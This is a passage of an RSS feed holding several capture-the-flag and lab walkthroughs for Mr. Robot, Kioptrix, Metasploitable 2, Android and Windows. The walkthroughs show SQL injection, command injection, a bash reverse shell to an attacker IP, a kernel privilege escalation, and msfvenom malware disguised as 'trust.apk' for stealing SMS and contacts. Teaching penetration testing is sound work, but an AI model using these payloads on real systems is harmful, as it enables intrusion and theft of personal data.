href="http://192.168.1.4/wp-content/uploads/2023/10/shell.php">http://192.168.1.4/wp-content/uploads/2023/10/shell.php</a></p><p>Next two steps are most important we will use curl with url from kali machine and will have to start msfconsole to create Metasploit meterpreter session on another terminal window</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*zRb7ePAcnhukuQsRIqizqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*CDQ6ckpecFyfjBDiDIRoow.png" /></figure><p>Next, set options in msfconsole</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*vwXiVKxf-6SdarfCgMlWTQ.png" /></figure><p>Next is to run/ exploit and run curl command also on another terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*9pTvntEw0fwR3roemYFQuQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*3IhKo-X_GCpwQP5u_hojIQ.png" /></figure><p>And meterpreter session is established</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*rsUKvfVvNMf-c5CZH4ZfKw.png" /></figure><p>Now on msfconsole we understood that we are on daemon user not root hence we need to get root access of the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*TTjJlQvRzBhe7Wj--1DwRA.png" /></figure><p>Next, we will move to home directory, then to directory robot where we have two files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*P3MlrILPFWmpC1iqK3Uv4Q.png" /></figure><p>I believe file name key-2-of-3.txt is the second key or flag of the machine and file password.raw-md5 may contain some md5 hash value</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*5wb0qFduJyJsCIm-e-1feg.png" /></figure><p>First, we will have to login with user robot as we are not been able to open 2nd key file with daemon</p><p>Access hence we need to first check md5 file, and then paste that md5 hash value in crack station to get password as it can be password of user- robot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ZvffuiGPADk1EmR3gMZaLQ.png" /></figure><p>To switch user we will use command su robot but it will not work hence you need to use a command “<strong>python -c ‘import pty; pty.spawn(“/bin/sh”)’</strong>” and now you can use su command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*Jnby5yL6Cwi6dLUWvTS0Nw.png" /></figure><p>Now we are able to login as robot and md5 hash was password of robot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*frph5J3L-m-G79ARrNimpw.png" /></figure><p>Second key or flag- <strong>822c73956184f694993bede3eb39f959</strong></p><p>Now we have done two stages one we have became daemon user then normal user now we have to work to become root user.</p><p>We have to find a application or program that is having fixed suid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*dBZkRtp50HcBQdhxG2a7aQ.png" /></figure><p>We have useful information here, we can use nmap in interactive mode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*l2Wh_UZORYDU6af4bxqskQ.png" /></figure><p>!sh to enter in shell and as nmap owner is root hence we are in root right now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*3WGVrADDsS2pRwwSUt8e_w.png" /></figure><p>And with command <strong>whoami</strong> it is verified that we are root user now, we have to find last and the 3rd key, we need to check in root directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*mD0F7w3HqeZvevumUbvjmA.png" /></figure><p>Third Key or flag- <strong>04787ddef27c3dee1ee161b21670b4e4</strong></p><p>We are done with this machine.</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fbca39f8c33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix Level 2 | vulnhub | Penetration testing solution by Prateek Sharma]]></title>
            <link>https://medium.com/@prateeksunilsharma/kioptrix-level-2-vulnhub-solution-by-prateek-sharma-c0bb34f81e1c?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0bb34f81e1c</guid>
            <category><![CDATA[kioptrix]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Tue, 04 Jun 2024 12:07:24 GMT</pubDate>
            <atom:updated>2024-06-04T15:46:59.782Z</atom:updated>
            <content:encoded><![CDATA[<p>Download machine from given link below</p><p><a href="https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar">https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*IJrgDCf1KTLVtpUiRpGy6Q.png" /></figure><p>Both machines (Kioptrix and Kali) are on bridge in my case, booting both machines and let’s start</p><p>checking IP address of kali with command<strong> ifconfig</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*JfT24Sl7Twj9QaO5HDyZjA.png" /></figure><p>Now to check IP address of Kioptrix Level 2 we will need to use “<strong>netdiscover</strong>” command on Linux terminal to scan IP address in subnet range.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*Pq42Omv7242Rl4aIVKaiMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*v4Pn-_bPMla0jXIA8OtIbg.png" /></figure><p>Since we have target machine mounted on VMware that’s why we can understand that IP address <strong>192.168.1.2</strong> is Kioptrix Level 2 Machine.</p><p>Next, we need to scan IP address <strong>192.168.1.2</strong> to check for open ports and Vulnerabilities, to perform this task we will need to run “<strong>nmap</strong>” on Terminal. Command used “<strong>nmap -sV -O -v -P -A 192.168.1.2”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*NpyBuLOIkFTFvGpx84h2OA.png" /></figure><p>Next, we need to run<strong> nikto</strong> scan since port 80 is open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*_o6da8l3Sro5MddoS3_sAg.png" /></figure><p>Nikto scan is giving detail information about web server running on port 80.</p><p>Next, we need to use <strong>dirb</strong> for brute force to get additional information about web server directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*vGb7TvxRrp3etbK4Yr-Xbg.png" /></figure><p>Next, we will use <a href="http://192.168.1.2/index.php">http://192.168.1.2/index.php</a> for further use.</p><p>We need to paste this url in firefox browser of Attacker for sql injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*kBOI3AjiEz_ttu3Up_5oXA.png" /></figure><p>For sql injection using login bypass enter <strong>‘ or 1=1 — </strong>in username and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*XlCoC8b6IyEwCxJ8jP_mrw.png" /></figure><p>Now since we are able to login into the machine but we can only perform ping, we will use loopback IP to check connectivity of NIC</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*7ujq2geaUBCLbrT2hL-Hgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*myeaRqdj5FRX308N6kZDWA.png" /></figure><p>We will use command injection, hence let’s open index.php to do this task, use <strong>“127.0.0.1;cat index.php”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*3DKj8ULYM9uI2XOqS3tm0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*UQ5SJPrUtIbSrXRJGX_BVg.png" /></figure><p>We identified after command injection database name as <strong>“webapp”, </strong>after this command injection command cat /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*4SHJYOSSMsDbiLWqP1OAyg.png" /></figure><p>Next, we need to use<strong> Netcat </strong>on Target and Attacker, first push command injection on basic administrative web console put <strong>“127.0.0.1; <em>bash -i &gt;&amp; /dev/tcp/192.168.1.3/1337 0&gt;&amp;1”</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*e_aN4-hW7VpiucxKNmmC0w.png" /></figure><p>and we enable port listening on Attacker machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*Kc7d1k7oKHhDkPRv9Li8Kg.png" /></figure><p>After running bash command in browser we will be able to gain apache access in target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*lje6vanVkBWbQXbG_OknSA.png" /></figure><p>We will use searchsploit to identify exploit available to get access, after rechecking nmap output we found that Linux 2.6.9 is running with apache running centos we need to search an exploit related to this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*di9exXFbCqmxBvpwW4PPIA.png" /></figure><p>We found one exploit locally which is having exploit for linux 2.6.x, centos i.e., 9542.c.</p><p>First, we need to download in our system (attacker)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*OMcDR3EF9IXqmlg0cW9knQ.png" /></figure><p>We need to transfer this exploit to Target machine, to perform this we will use apache web server for this by command “<strong>service apache2 start”</strong></p><p>Before that move exploit to /var/www/html/ location and make a directory in my case I have name directory downloads</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*5T2j0H2pKBMzw6QbspqeoQ.png" /></figure><p>Now let’s come back to target machine and perform some operation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*9ssp0RIwyCho5u1Gw9DdyA.png" /></figure><p>Since wget need to download exploit from apache server we are not allowed to do it hence we need to move to tmp directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*r2pqeVck3QVP2H1uqABBcA.png" /></figure><p>We are successfully copied or transferred exploit file to Target machine.</p><p>Next, we need to compile this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*iYJK1QS5-52SopNGt4gQ3A.png" /></figure><p>Next, we need to install complied file in target machine with command <strong>“./a.out”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*tXhjmb3PV5g3_eHK6PiQtg.png" /></figure><p>After installing a.out we are now root user of this machine, and we got shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*OjYqaE4NuCHA89ZqjIPHiQ.png" /></figure><p>So, we are able to get root access of the machine and verified by command <strong>id, </strong>That’s it for this machine.</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0bb34f81e1c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix Level 1 | Vulnhub | Penetration testing solution by Prateek Sharma]]></title>
            <link>https://medium.com/@prateeksunilsharma/kioptrix-level-1-vulnhub-solution-by-prateek-sharma-f07d49a2f48f?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/f07d49a2f48f</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[samba]]></category>
            <category><![CDATA[kioptrix-level-1]]></category>
            <category><![CDATA[metasploit-framework]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Tue, 04 Jun 2024 09:26:56 GMT</pubDate>
            <atom:updated>2024-06-04T15:47:29.181Z</atom:updated>
            <content:encoded><![CDATA[<p>Download machine from given link below</p><p><a href="https://download.vulnhub.com/kioptrix/Kioptrix_Level_1.rar">https://download.vulnhub.com/kioptrix/Kioptrix_Level_1.rar</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*1fBXzDX78TaYtCKAohqoKg.png" /></figure><p>open and boot Kioptrix Level 1 machine and Kali linux on VMware. In my case network adaptor is selected to bridge for both the machines.</p><p>check kali IP address with command “<strong>ifconfig</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*JfT24Sl7Twj9QaO5HDyZjA.png" /></figure><p>Now to check IP address of Kioptrix Level 1 we will need to use “<strong>netdiscover</strong>” command on Linux terminal to scan IP address in subnet range.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*Pq42Omv7242Rl4aIVKaiMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*kuqiRUeZkVuR77OXlxqiPA.png" /></figure><p>Since we have target machine mounted on VMware that’s why we can understand that IP address <strong>192.168.1.104</strong> is Kioptrix Level 1 Machine.</p><p>Next, we need to scan IP address <strong>192.168.1.104</strong> to check for open ports and Vulnerabilities, to perform this task we will need to run “<strong>nmap</strong>” on Terminal. Command used “<strong>nmap -sV -O -v -P -A 192.168.1.104”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*TRTk-L88ud2tKUoNu08Atg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-rNiXq0zNAmENEeOl7vSUA.png" /><figcaption>Screenshot of nmap o/p</figcaption></figure><p>After scan we have identified that <strong>Port 139</strong> is open and this port is used for</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*OZ1Qtvi3pQbHW6XvtqbcHQ.png" /></figure><p>Hence, we will check for exploit for samba on Metasploit.</p><p>To run Metasploit Framework on Kali we will need to give a command on Terminal as “<strong>msfconsole</strong>” to start its operation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*6p-QEr_rWG_zU6tPlX6cmg.png" /></figure><p>“<strong>msf6</strong> <strong>&gt;</strong>” will be shown once Metasploit is started completely.</p><p>Now, firstly we need to identify exploit availability for the vulnerable version samba in Metasploit, we need to use command “<strong>search samba</strong>” to check available exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-uEQyTEJA-w4oWCJA-5AZg.png" /></figure><p>Now we will use trans2open exploit, since samba servers are vulnerable w.r.t to buffer overflow when used with trans2open function, to confirm it we will use the command “<strong>use exploit/linux/samba/trans2open</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*osqG1c_mTumDrOVFy97vkg.png" /></figure><p>We had defined exploit for the vulnerability, next is to work to gain access and for that we need to define payload and RHOST, payload is already defined by Metasploit w.r.t. to exploit that we selected <strong>linux/x86/shell_reverse_tcp</strong>, lets proceed for gaining access.</p><p>We have two parameters, RHOST as <strong>192.168.1.104</strong> and payload as <strong>linux/x86/shell_reverse_tcp</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*DlV6gt-lip9lhltLoc1b-Q.png" /></figure><p>We are in the final step of penetration testing i.e., gaining access, in previous step we have prepared all the parameters that were required to run exploit successfully. Now next is to run exploit, hence use command “<strong>exploit</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*M4_gGk7AYmvbb9WH0icnbA.png" /></figure><p>After running this command, you can see that we have successfully established a shell connection with Target Machine (Kioptrix Level 1).</p><p>For verification of access, I used the command <strong>“id”</strong> and <strong>“whoami”</strong> to check access. We are done.</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f07d49a2f48f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android hacking solution with Metasploit Framework by Prateek Sharma]]></title>
            <link>https://medium.com/@prateeksunilsharma/android-hacking-solution-with-metasploit-framework-by-prateek-sharma-05bdef844220?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/05bdef844220</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[android-hacks]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Mon, 03 Jun 2024 19:45:53 GMT</pubDate>
            <atom:updated>2024-06-03T19:45:53.092Z</atom:updated>
            <content:encoded><![CDATA[<p>To exploit Android OS, we need to use a device running Android OS, in my case I am using a smartphone running Android OS 6 marshmallow. This post is only for educational purposes.</p><p>so, in this scenario we will take a real-life example like if someone sends a url to target and if he/she clicks the url it automatically gets redirected to attacker’s Apache server which is carrying a malware preuploaded and if the target downloads it in the phone and install that unknown app it will give a full device access to attacker. We will consider a scenario like someone who is having an Android device receives a url of attacker’s apache server which will have a malware.</p><p>Objective is to attain privilege access or root access of the machine.</p><p>We will use msfvenom to develop malware for Android and Metasploit tool i.e., inside Kali Linux to attain root access.</p><p>Note: — In this case we need to connect android smartphone and kali in same network to do that we need to keep network adaptor of kali on bridge and connect smartphone to same Wi-Fi network to which VM running computer is connected to, means to bring both device on same network.</p><p>Boot both the device and let’s start</p><p>check IP address for kali with command</p><p><strong>ifconfig</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*JfT24Sl7Twj9QaO5HDyZjA.png" /></figure><p>check IP address of android smartphone with command</p><p><strong>netdiscover -r 192.168.1.0/24</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*Pq42Omv7242Rl4aIVKaiMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*hAz3VI_d_SMxbgqUWFjy5Q.png" /></figure><p>Next, we will start apache server by command “service apache2 start” and then to check the status of server “service apache2 status”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6fF0vtNpK1r7OZKYHZBGhw.png" /></figure><p>Now we need to create malware and to develop it we will use msfvenom. We will create malware with .apk format since android executable extension is .apk, we will use the command to create malware</p><p><strong>“msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 R &gt; /var/www/html/trust1.apk”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*2tzVNp3-TUwfQ1_TNSFw6Q.png" /></figure><p>Next, we need to generate key, sign the app and will use zip align to make the application more untraceable and real.</p><p>To generate key, we will use this command</p><p><strong>“keytool -genkey -V -keystore /home/kali/key.keystore -alias piechart -keyalg RSA -keysize 2048 -validity 10000”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*xQLvzjFVVO3ZVw3hKeuF7Q.png" /></figure><p>Next, we need to sign the app by jar signer, but jar signer is not preinstalled in Kali Linux so need to install it first</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*SspH-hZV5V8LSivIUOC_qg.png" /></figure><p>Next, we need to sign the app by jar signer, we will use command “<strong>jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /home/kali/key.keystore trust1.apk piechart”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*O7ksUqSOkutuwa65dkgjZA.png" /></figure><p>Now after this to optimize the application and to make application work properly with key and signature we will use a tool zip aligner.</p><p>Command to be used <strong>“zipalign -v 4 trust1.apk trust.apk”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*Sq0zmj_k9VzsvZMwtx_T9Q.png" /></figure><p>Make sure that your output file <strong>“trust.apk”</strong> is having executable access to do that we will use the command “<strong>chmod +x trust.apk</strong>” in its present location and can verify by ls -l command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*mWIJ2f6EiffCUB44UJqQJQ.png" /></figure><p>Now our malware is created next we need to proceed for exploitation.</p><p>To run Metasploit Framework on Kali we will need to give a command on Terminal as “<strong>msfconsole</strong>” to start its operation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6Z3zoXwTr8JtW_7My_TX_g.png" /></figure><p>“<strong>msf6</strong> <strong>&gt;</strong>” will be shown once Metasploit is started completely.</p><p>Now we will use exploit w.r.t to payload android/meterpreter/reverse_tcp, so we will use exploit exploit/multi/handler, to confirm it we will use the command “<strong>use exploit/multi/handler</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*kPClPI8rRHuFTWYwdlO_2g.png" /></figure><p>We need to check what parameters we need to set for target machine, to check that we need to run command “<strong>show options</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*ZRmTYSTmmn8abDJ0uxcTog.png" /></figure><p>Here we need to set two parameters LHOST and Payload, to set them we will use command <strong>“set LHOST 192.168.1.3”</strong> and <strong>“set payload android/meterpreter/reverse_tcp”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*JjlDygjzzsd7Y9Lx-PxWeg.png" /></figure><p>So now we have set both parameters we can all parameters by command “<strong>show options</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*4u98YwL4ycHwfPIicmZrEw.png" /></figure><p>Now last thing we have set before attack and that is to move final .apk file to /var/www/html/downloads/ directory</p><p>Now everything is perfect and we are ready to attack and gain access so we are moving further now, Let’s move to Gain access.</p><p>We are in the final step of penetration testing i.e., gaining access, in previous step we have prepared all the parameters that were required to run exploit successfully. Now next is to run exploit, hence use command “<strong>exploit</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ikaXROetXuEFnvwVE5TP-g.png" /></figure><p>Let’s open the browser of Target device (Smartphone) and</p><p>Enter in url <a href="http://192.168.1.3/downloads/">http://192.168.1.3/downloads/</a> and after this a page will open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*4bLjZSOE5K8c54ZQWKfbSg.png" /></figure><p>Now if the Target clicks on trust.apk a malicious code will be downloaded and he/she opens it the system will ask for installation, if Target install trust.apk in the system it will give root access to the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*V-gmbh9dsl_LKn65BsySKA.png" /></figure><p>To verify access, we used some commands like app_list</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*h1_8_jR6SBHLB2GHIosGBQ.png" /></figure><p>We also dumped sms and contact data from Target device</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*8tjpOrb5jEcoLI3KzfBEuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*yE1Da8MUM1dH_OX9VsEfWg.png" /></figure><p>Hence, we are able to obtain <strong>root access </strong>of the Target Machine.</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=05bdef844220" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploitable 2 | Penetration testing | solution by Prateek Sharma]]></title>
            <link>https://medium.com/@prateeksunilsharma/metasploitable-2-penetration-testing-solution-by-prateek-sharma-0ca376689bfb?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ca376689bfb</guid>
            <category><![CDATA[metasploitable2]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[metasploit-framework]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Mon, 03 Jun 2024 16:40:50 GMT</pubDate>
            <atom:updated>2024-06-03T19:09:56.891Z</atom:updated>
            <content:encoded><![CDATA[<p>Download machine from given link of vulnhub <a href="https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip">https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*scVTPpxYU8ZcVA27NCdavQ.png" /></figure><p>After installing machine on VMware, we need to put both Kali and Metasploitable 2 on same network, in our case we are using network adaptor as bridge for both the machines.</p><p>We will use Kali Linux as attacker machine and Metasploit framework as mode of exploit this machine.</p><p>Now just boot both the machines Kali Linux and Metasploitable 2 that are mounted on VMware.</p><p>Let’s start</p><p>check own IP address with command</p><p><strong>ifconfig</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*JfT24Sl7Twj9QaO5HDyZjA.png" /></figure><p>Now to check IP address of Metasploitable 2 we will need to use “<strong>netdiscover</strong>” command on Linux terminal to scan IP address in subnet range.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*Pq42Omv7242Rl4aIVKaiMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*2lBBn9XV9IGCyHIkGKFPWA.png" /></figure><p>Since we have target machine mounted on VMware that’s why we can understand that IP address 192.168.1.30 is Metasploitable 2 Machine.</p><p>Next, we need to scan IP address 192.168.1.30 to check for open ports and Vulnerabilities, to perform this task we will need to run “<strong>nmap</strong>” on Terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*WCjqFqQWTmxPWPnEJhS5Kw.png" /></figure><p>After scan we have identified that Port 21 is open and this port is used for ftp service and mentioned version vsftpd 2.3.4 is Vulnerable.</p><p>To check Vulnerability, we need to use nmap again for target IP with <strong>— script</strong> <strong>vuln</strong> to confirm availability of exploit or we can also search for exploit manual on Exploit-db web site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Cb035JGKZoJXHE9ROrqNdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*nF1utWFUjRPcU_1oSHvQlQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*C6zeqEGUcP1Ta6ktPlUVSA.png" /></figure><p>So, by checking on exploit it is clear that vsftpd-2.3.4 is a vulnerable version and can be exploited by Metasploit Framework.</p><p>Now to run exploit we will first have to use Metasploit Framework i.e., already preinstalled on Kali Linux.</p><p>To run Metasploit Framework on Kali we will need to give a command on Terminal as “<strong>msfconsole</strong>” to start its operation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*xh5SclnP7YRoFztKSrSFqQ.png" /></figure><p>“<strong>msf6</strong> <strong>&gt;</strong>” will be shown once Metasploit is started completely.</p><p>Now, firstly we need to identify exploit availability for the vulnerable version vsftpd-2.3.4 in Metasploit, we need to use command “<strong>search vsftpd</strong>” to check available exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-SYkHpVKc0G3RRV4x5ue0g.png" /></figure><p>Now we need to select exploit, so we will use backdoor exploit, to confirm it we will use the command “<strong>use exploit/unix/ftp/vsftpd_234_backdoor</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*Kr-yhTIS9Lb0JfJ6l2Y7Cg.png" /></figure><p>We need to check what parameters we need to set for target machine, to check that we need to run command “<strong>show options</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*YSyYYoYj_2_HPabbYZ8ikg.png" /></figure><p>here are two parameters, we need to set one only, as remote port no as 21, we need to set RHOST with target IP address.</p><p>To set this we need to use command “<strong>set RHOST 192.168.1.30</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*EJ6bmbBXrFaenp4XZOHc2Q.png" /></figure><p>So now we have set both options, only thing i.e., left is to set Payload. To check available Payload, we need to give command “<strong>show payloads</strong>” and then use command “<strong>set payload payload/cmd/unix/interact</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*3vkYDkDP90VovYRfv9xrjw.png" /></figure><p>We are in the final step of penetration testing i.e., gaining access, in previous step we have prepared all the parameters that were required to run exploit successfully. Now next is to run exploit, hence use command “<strong>exploit</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*_eYq1vixKGkdTMib5Us6Dg.png" /></figure><p>After running this command, you can see that we have successfully established a shell connection with Target Machine (Metasploitable 2).</p><p>For verification of access, I used the command “<strong>pwd</strong>” to check present working directory and the output is showing as “<strong>/</strong>” which indicates that we are in the root directory of the Target Machine. After this command I run command “ls” i.e., list command and all the directories that are present in root directory are visible to me. Hence, we are able to obtain <strong>root access </strong>of the Target Machine (Metasploitable 2).</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ca376689bfb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Hacking — with Metasploit by Prateek Sharma]]></title>
            <link>https://medium.com/@prateeksunilsharma/windows-hacking-with-metasploit-by-prateek-sharma-ddd5a1a8609f?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/ddd5a1a8609f</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[metasploit-framework]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Mon, 03 Jun 2024 15:48:26 GMT</pubDate>
            <atom:updated>2024-06-04T15:49:57.395Z</atom:updated>
            <content:encoded><![CDATA[<h3>Windows Hacking | Penetration testing solution by Prateek Sharma</h3><p>In this article we will learn about exploiting Windows OS by using Metasploit Framework. This content is for educational purposes only.</p><p>Mounting both machines on VMware workstation (Windows OS and Kali Linux), also on same network adaptor, in my case it is selected as Bridge.</p><p>In our case Windows 7 machine that runs on Windows based OS to penetrate in the machine we will use Metasploit Framework i.e., preinstalled inside Kali Linux.</p><p>We will develop a malware by Metasploit Framework to gain root access of the Windows 7 OS.</p><p>We will use Kali Linux as attacker machine and Metasploit framework as mode of exploit. Msfvenom will also be used here to create malware to get root access of the Windows 7 OS.</p><p>We may consider a scenario of someone getting a link on email and victim unknowingly click on that link and an .exe file gets automatically downloaded in Windows 7 and attacker will get root access.</p><p>Let’s start</p><p>Boot both the machines, next check IP address of Kali Machine by command <strong>ip a </strong>or<strong> ifconfig</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*JfT24Sl7Twj9QaO5HDyZjA.png" /></figure><p>Attacker IP — 192.168.1.3</p><p>Being an attacker, we can check target IP by netdiscover command <strong>netdiscover -r 192.168.1.0/24</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*qLtr27HxRqEN3LZuvZS-Kw.png" /><figcaption>netdiscover o/p from kali 